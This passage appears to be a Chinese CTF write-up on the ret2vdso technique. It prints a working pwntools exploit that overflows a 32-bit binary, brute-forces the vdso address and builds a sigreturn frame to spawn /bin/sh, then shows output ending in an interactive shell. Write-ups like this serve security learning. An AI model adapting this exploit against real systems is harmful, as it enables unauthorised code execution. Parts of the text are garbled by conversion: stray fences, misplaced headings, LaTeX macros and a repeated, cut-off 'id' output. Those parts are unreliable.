                      0000000d LINUX_2.5 __kernel_vsyscall
00000d50 g DF .text 000002b2 LINUX_2.6 __vdso_gettimeofday
00001070 g DF .text 00000009 LINUX_2.5 __kernel_sigreturn
00001010 g DF .text 00000028 LINUX_2.6 __vdso_time
00000000 g DO *ABS*
                      00000000 LINUX_2.5 LINUX_2.5
00000820 g DF .text 0000052f LINUX_2.6 __vdso_clock_gettime
00000000 g DO *ABS* 00000000 LINUX_2.6 LINUX_2.6
我们可以直接使用现成的__kernel_rt_sigreturn调用。
getshell脚本
在getshell之前,必须先把vdso.so给读出来,不同的系统vdso.so是不同的。所以我们必须要读出靶机的vdso.so才行。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import random
import struct
import os
import binascii
import sys
import time
context(arch='i386', os='linux')
# context.log_level = 'debug'
elf = ELF("./ret2vdso")
# =========
vdso = ELF("./vdso.so")
str_bin_sh_offset = 0x200
str_bin_sh_addr = elf.symbols['buf'] + str_bin_sh_offset
\# 0x080480a5 : int 0x80
int_0x80 = 0x080480a5
# Creating a custom frame
frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve
frame.ebx = str_bin_sh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = int_0x80
# IIIIIIIIIIIIIIIIcrash
```

frame.cs = 35

frame.ss = 43

```
frame.ds = 43
frame.es = 43
frame.gs = 0
frame.fs = 0
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO = range(0xf76d9000, 0xf77ce000, 0x1000)
sh = None
while(True):
  sh = process("./ret2vdso")
  vdso_addr = random.choice(RANGE_VDSO)
  payload = 'a'*128 + p32(0) + \
          p32(vdso_addr + vdso.symbols['__kernel_rt_sigreturn']) + \
          'c' * 40 * 4 + str(frame) # *********** 160 *******
  payload = payload.ljust(str_bin_sh_offset, '\x00') + '/bin/sh\x00'
  sh.send(payload)
  sh.recvuntil('/bin/sh\x00')
  sh.sendline('echo hello')
  result = ''
   # IDEA recvall IDEA shell IDE crash
  try:
      result = sh.recv()
  except Exception as e:
      pass
  if(len(result) != 0):
      log.success("Success")
      sh.interactive()
      exit(0)
  sh.close()
上面有几点我需要重点提一下。
第一点:
```

frame 在 32 位的时候一定要 kernel='i386',而且 cs、ds、ss、es的值一定要正确,否则会crash。

## 第二点:

recvall 极易导致 EOFerror,建议不要使用,否则,即使得到了shell,也会crash

# 第三点:

对于payload中,为什么要偏移'c'404,这个我也不是很清楚,都是调试出来的。

## 运行实例:

```
ex@Ex:~/test$ python2 getshell.py
[*] '/home/ex/test/ret2vdso'
  Arch:
          i386-32-little
  RELRO: No RELRO
  Stack: No canary found
          NX enabled
           No PIE (0x8048000)
[!] Did not find any GOT entries
[*] '/home/ex/test/vdso.so'
  Arch:
           i386-32-little
  RELRO: No RELRO
  Stack: No canary found
          NX enabled
          PIE enabled
```

```
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31629)
[+] Starting local process './ret2vdso': pid 31633
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31633)
[+] Starting local process './ret2vdso': pid 31636
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31636)
[+] Starting local process './ret2vdso': pid 31639
[+] Success
\ensuremath{\left[\!\right.}^{\star}\ensuremath{\left]\!\right]} Switching to interactive mode
$ id
\verb|uid=1000(ex)|| \texttt{gid}=1000(ex)|| \texttt{groups}=1000(ex)|, \texttt{4(adm)}, \texttt{24(cdrom)}, \texttt{27(sudo)}, \texttt{30(dip)}, \texttt{46(plugdev)}, \texttt{112(lpadmin)}, \texttt{127(sambashare)}, \texttt{129(wires)}, \texttt{112(lpadmin)}, \texttt{127(sambashare)}, \texttt{129(wires)}, \texttt{1
总结
又踩了不少坑,或许坑踩多了,就习惯了吧。
ret2vdso.zip (0.023 MB) <u>下载附件</u>
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